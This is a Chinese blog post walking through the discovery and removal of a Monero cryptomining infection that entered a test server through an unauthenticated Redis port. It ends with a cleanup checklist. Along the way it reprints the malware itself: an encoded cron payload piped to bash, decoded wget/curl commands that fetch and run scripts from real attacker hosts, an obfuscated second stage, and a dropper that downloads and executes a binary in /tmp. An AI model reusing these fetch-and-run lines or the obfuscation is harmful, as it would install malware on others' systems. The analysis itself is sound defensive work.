Virus:病毒查杀

简介


  • 小伙伴们,大家好,今天分享一次Linux系统杀毒的经历,还有个人的一些总结,希望对大家有用。
  • 这次遇到的是一个挖矿的病毒,在挖一种叫门罗币(XMR)的数字货币,行情走势请看 https://www.feixiaohao.com/currencies/monero,该病毒的特征是会占满你的CPU。
  • 该病毒的侵入方式是通过扫描主机的Redis端口,一般默认为6379,通过Redis命令将程序注入到你的主机,对的,没有设置密码的那种,我们的测试环境主机就因此中招。

病毒的发现和侦破


1.起初,收到cpu的报警信息,于是先登录到阿里云上,查看了该机器的情况,发现了注入命令
2.解决这种问题很简单,给redis增加认证,或不暴露redis的端口,清理 .ssh/authorized_keys 非法公钥,检查 /etc/ssh/sshd_config,确保 PasswordAuthentication no 密码认证是关闭的
img-w500
3.登录服务器,使用 top 命令查看程序资源占用率
img-w500
4.发现有一个程序资源占用率比较高,查看其进程pid,然后使用 pstree -H 18682 ,查看高亮的行;此步骤目的要看其父进程,以便找到其父进程,并将其杀掉
img-w500
5.发现其父进程为系统正常进程,故使用命令 kill -9 18682 将该程序进程杀掉(可是过了一段时间,它又启动了,说明没有找到其守护进程)
6.查看 /etc 下定时任务中最近被改动过的文件 find /etc/cron* -type f -mtime -30
7.发现有文件被改动过,打开查看其中内容,看到有定时任务,打开定时任务执行的文件,如下
img-w500
8.查看crontab,查看 /var/lib/corn/ 下定时任务,该目录下定时任务为所有用户的定时任务,查看定时任务的内容,查看定时任务执行文件的内容,如下
img-w500
9.此两个文件内容完全一样,代码如下

#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCBjdXJsIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8udG9yMndlYi5pby9jcm9uLnNoIHx8IHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLmQyd2ViLm9yZy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5kMndlYi5vcmcvY3Jvbi5zaCB8fCB3Z2V0IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash

10.可以看出,该代码是通过base64编码的,解码后得到如下结果

echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCBjdXJsIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8udG9yMndlYi5pby9jcm9uLnNoIHx8IHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLmQyd2ViLm9yZy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5kMndlYi5vcmcvY3Jvbi5zaCB8fCB3Z2V0IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoICl8YmFzaAo= | base64 -d
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.io/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.io/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.d2web.org/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.d2web.org/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.ws/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.ws/cron.sh )|bash

11.通过分析,该代码的意思是,在十分钟内的随机时间执行从网上下载代码并送给bash执行
如图:
img-w500
12.通过如下命令下载其从网络上下载的代码

wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.io/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.io/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.d2web.org/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.d2web.org/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.ws/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.ws/cron.sh

13.获取代码如下

${!#}${*^} <<< "$(tD=(${@/Q+/9}\| 8 m \] S${*%%*} r q M u O H${@,} o"${@^}" \:${*} \."${@#^}" P x \; \!"${@}" 1${@,,} p${*%%V5} a${*//ct/E4} y \["${@#O}" t"${@/6}" 3${@##G} l${*^^} \+${@^} $'\12' T${@,,} \ ${*,,} U${!*} \)"$@" \$${*%%r} w${@/o} k${*//-\)} v \/"${@%H}" f${@//4/#*} h${*//\`n/=J} \( e s${*~} \- g"${@#GY}" 6 \> b \{"$@" d \& A X"${@%a}" 2"${@//_G}" i${*^^} \=${*##H|} n${@,,} c${*##u} \}$* L${*,});for eV in 40${@%xG} 15$@ 40 56${*} 29 49$* 45${@%%-\)} 36 48 40 35$@ 36 55 8 25${*/HB} 25${*^} 27 40${@,,} 15 19 11 5${@^} 23 29${@%%\"a} 14 50 28 10${*//o} 54 32 14${!*} 50${@,,} 28 10"${@,}" 12${*~~} 36${@#WI} 46${*,} 53 55${@^^} 12${!@} 36"${@,}" 41 46${*//6/\}O} 53${*%%2i} 55 12 36 8 41${@,,} 5 36${*%h_} 46 53${*%M5} 55 12 36${!*} 8 41 5${*##b2} 36 41 46${*#Y} 53"${@~}" 55 12 36${@%H} 8${*##hc} 41 5${@,} 36 25${*##Y} 11 56"${@/;*/\)}" 20"${@//U/8}" 25 36 46"${@,}" 53${*,} 55 12 36$* 8 41${*,,} 5${*#:>} 36"$@" 25 11${*} 56 20$* 25"${@%N}" 36${*~} 41 46 53 55${@//p7/-$} 27 27 48 39 31 29 47${*~~} 27${!*} 29${*^^} 29${*^^} 29 29${*/|} 15${!*} 54"${@//Z;/+\(}" 36 41${*^^} 21${*^} 41 23${*,,} 40${*%,} 2${*~} 48 42${@//l} 25 11${*} 43 53${*^^} 55 27 29${*,,} 29${@//o} 29 29 21 54${*~} 36${*,} 23${*//nC} 2"${@%%l}" 19${*%%lF} 36${*,,} 32${*^} 39${*/-L/s} 56${!*} 20${*^^} 23 29"${@,,}" 36 48"${@//1/|\[}" 40"${@//~P}" 35 36 8${@,} 5 20"${@~~}" 55 48 11 2${*~} 29 0${*##+l} 29$* 23${*##X} 5${!@} 29 42 56${!*} 48${@} 29 22${!@} 12"${@/y}" 20${@/lk} 25 55"${@^}" 8 2 12 3 0 38 40"${@%%t}" 20 48 29"${@~}" 42${*~~} 56 29${*/N9} 44$* 31${*^^} 27 29${@^^} 29${*^^} 29"${@^}" 29 33"${@%%$\)}" 43${*%4} 40 23"${@//bg}" 29${*^^} 42 6 30${*/\`M} 42 29"${@~~}" 42 42 55 11 42"${@/Y/RP}" 56${*^^} 38 40${*,} 56"${@~}" 34${@//</\}} 42 56 40"$@" 5"${@//v/5}" 23${*#l\(} 53${*,,} 37${@^^} 53${@%8b} 56${*%%z} 20 23 40$* 29"${@/>}" 32 18${@/d} 32${*%%\)} 15${*#a} 29"${@//&/S}" 42"${@/<j}" 9${*,,} 32 21${*%5} 29 0${*,} 0 29 56${*^^} 8${@//G/|} 5${@%%\[2} 25${*,} 29 42$@ 37${@} 41 4${*^^} 58${*%%b\(} 34"${@,}" 50${*^} 42${*/\[} 29 32 18 32 15${@//HB} 29 42 11 32 21 27 29 29 29${@//x} 29 56${@,} 38 2 11${*^} 48${@//*q/X} 29 26 15${*,,} 29${*#@v} 32${*^} 21$@ 16 32 21"${@}" 27${*,} 29 29 29"$@" 29${*//U3} 41 25${@,} 40"${@/L}" 40 19 29 1$* 27${*//=} 57${*##J} 27${@//>+/:>} 27 53 37${@~~} 29${@##=\\} 17${@^^} 29"${@//Oi/$g}" 19${*,} 41${*/JV} 29 42 19 29"$@" 32${*##ZP} 39 56 20 23${*//4/U#} 29 36${@%%N} 23 2 19 36 13"${@,}" 51${@/k} 18$* 7${!*} 42 8 55${*##I} 53${@##:,} 15"${@/\]}" 31 16 29${*^} 23"${@//bT/K}" 38${@##d} 40"${@,,}" 55${@//hz} 27${*,,} 29 29 29"${@//45}" 29${*^^} 48 29"${@%%H2}" 20 19${@} 23 43${*#O} 40 23${!*} 43${@//q/jO} 15 6${*/\)} 41 24${*/@j/$^} 41"${@,,}" 40${*} 56"${@%%Y\(}" 48 20 13"${@~}" 48 52 33${*/4%/tm} 40"${@%D}" 46 13 11${@/1} 5 43 29 0${!*} 0 29"$@" 48 29${*/Q\[} 20 19"${@%=}" 23 43${@//L2} 40${@,,} 23 43${@/L/Q} 15$* 6${*^^} 41${*//\\/6} 24 41${@~~} 40${*#7,} 56 48${*,} 20"${@,,}" 13${@~~} 23 11${*,} 5${!@} 52${*#@} 33 40${*^} 46 13 53${!*} 11 27 37 53 27${@^^};do printf %s "${tD["${@,,}"$eV$@]}"${*~};done;${!@})"${*%Y9}

14.查看代码末尾有 do done 等关键字,这应该是个循环语句,于是将上上述代码放到文件中,命名为 code.sh,使用 cat code.sh | bash -x 单步执行脚本,记录执行日志
img-w500
15.删除掉多余干扰部分,得到如下代码

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
    x=/systemd-login
    y=/tmp/$(cat /dev/urandom | tr -cd [:alnum:]|head -c 6)
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 8
}
if ! ps -p $(cat /tmp/.X1M-unix); then
    d aptgetgxqs3secda.d2web.org || d aptgetgxqs3secda.tor2web.io
fi

16.上述代码意思很明确,其会检测其守护进程pid是否存在,不存在就下载 aptgetgxqs3secda.d2web.org/systemd-loginaptgetgxqs3secda.tor2web.io/systemd-login 生成一个随机名称到/tmp目录下,并启动该程序,/tmp/.X1M-unix其中存放的就守护进程的 pid,将相应的pid kill掉,注释掉相关定时任务,删掉病毒程序,发现病毒程序便不会再启动了
17.进一步分析,其下载的病毒内容,通过其命令下载可执行程序

wget -qU- --no-check-certificate aptgetgxqs3secda.d2web.org/systemd-login -O/tmp/virus

18.查看下载文件的内容发现是编译后的二进制可执行程序,于是通过 hexdump -C virus > virus.txt 反编译,查看反编译内容如下
img-w500

19.其中还有 在反编译的文件中,找到了 monero(门罗币的项目名称)的字眼,故判断为门罗币的挖矿程序
20.至此,成功侦破

病毒清理的总结


  • 从以上病毒的发现和侦破过程可以看出,安全问题的关键在预防,尽可能少的暴露端口,减少被攻击的风险;
  • 这里介绍一种极端的安全方法,就是整片云只提供ssh的访问端口22(更极端的方式,一个不留,将22端口通过SLB代理到一台主机上做跳板,即为 Jumpserver中网域 的方式,采用全内网地址访问)、业务端口和OpenVPN的UDP端口,设置OpenVPN + OpenLDAP的方式限制内网访问;
  • 如此,便实现了只有拨通OpenVPN的用户才能实现云内网的访问,避免了普通攻击的可能性(无法避免业务端攻击);
    img-w500
  • 另外,可以看出该病毒程序采用各种伪装手段,如加密代码,伪装代码,exec隐藏守护进程,最终是为了占用你cpu资源,如果不是这样,当重要机密的业务系统遭遇该攻击就会造成重大损失了
  • 对于该类型的病毒,将处理步骤总结如下:
  1. 异常为加密的应用端口暴露,如Redis,如果有,关闭或加密码认证
  2. 查看ssh认证是否被插入了其他公钥,如果有,清除掉
  3. 是否被开启了密码认证,如果有,关掉,重启服务
  4. top命令查找占用资源较多的进程PID
  5. 通过pstree -H PID 查看高亮部分,查看其父进程;
  6. 如果父进程可疑,可进入到/proc/PID/目录下查看该程序的执行命令,并通过kill 掉其父进程
  7. 查看近期被修改的定时任务 find /etc/cron* -type f -mtime -30
  8. 查看crontab,查看 /var/lib/corn 下所有用户的定时任务,是否有异常条目
  9. 分析定时任务内容,按图索骥,查找到其守护进程
  10. 清除掉相关的定时任务,清除掉定时任务中可执行文件
  11. 定时任务中如果是正常命令,可能为篡改命令,通过m5dsum COMMAND和正常机器命令对比,更新命令
  12. kill掉病毒pid和其可疑父进程pid; kill -9 PID PPID

参考文档


  1. shell中exec解析: https://www.cnblogs.com/zhaoyl/archive/2012/07/07/2580749.html
posted @ 2019-05-31 16:50  Williams_Guozi  阅读(3368)  评论(0编辑  收藏  举报
本站总访问量 本站总访客量人次 本博客总访问量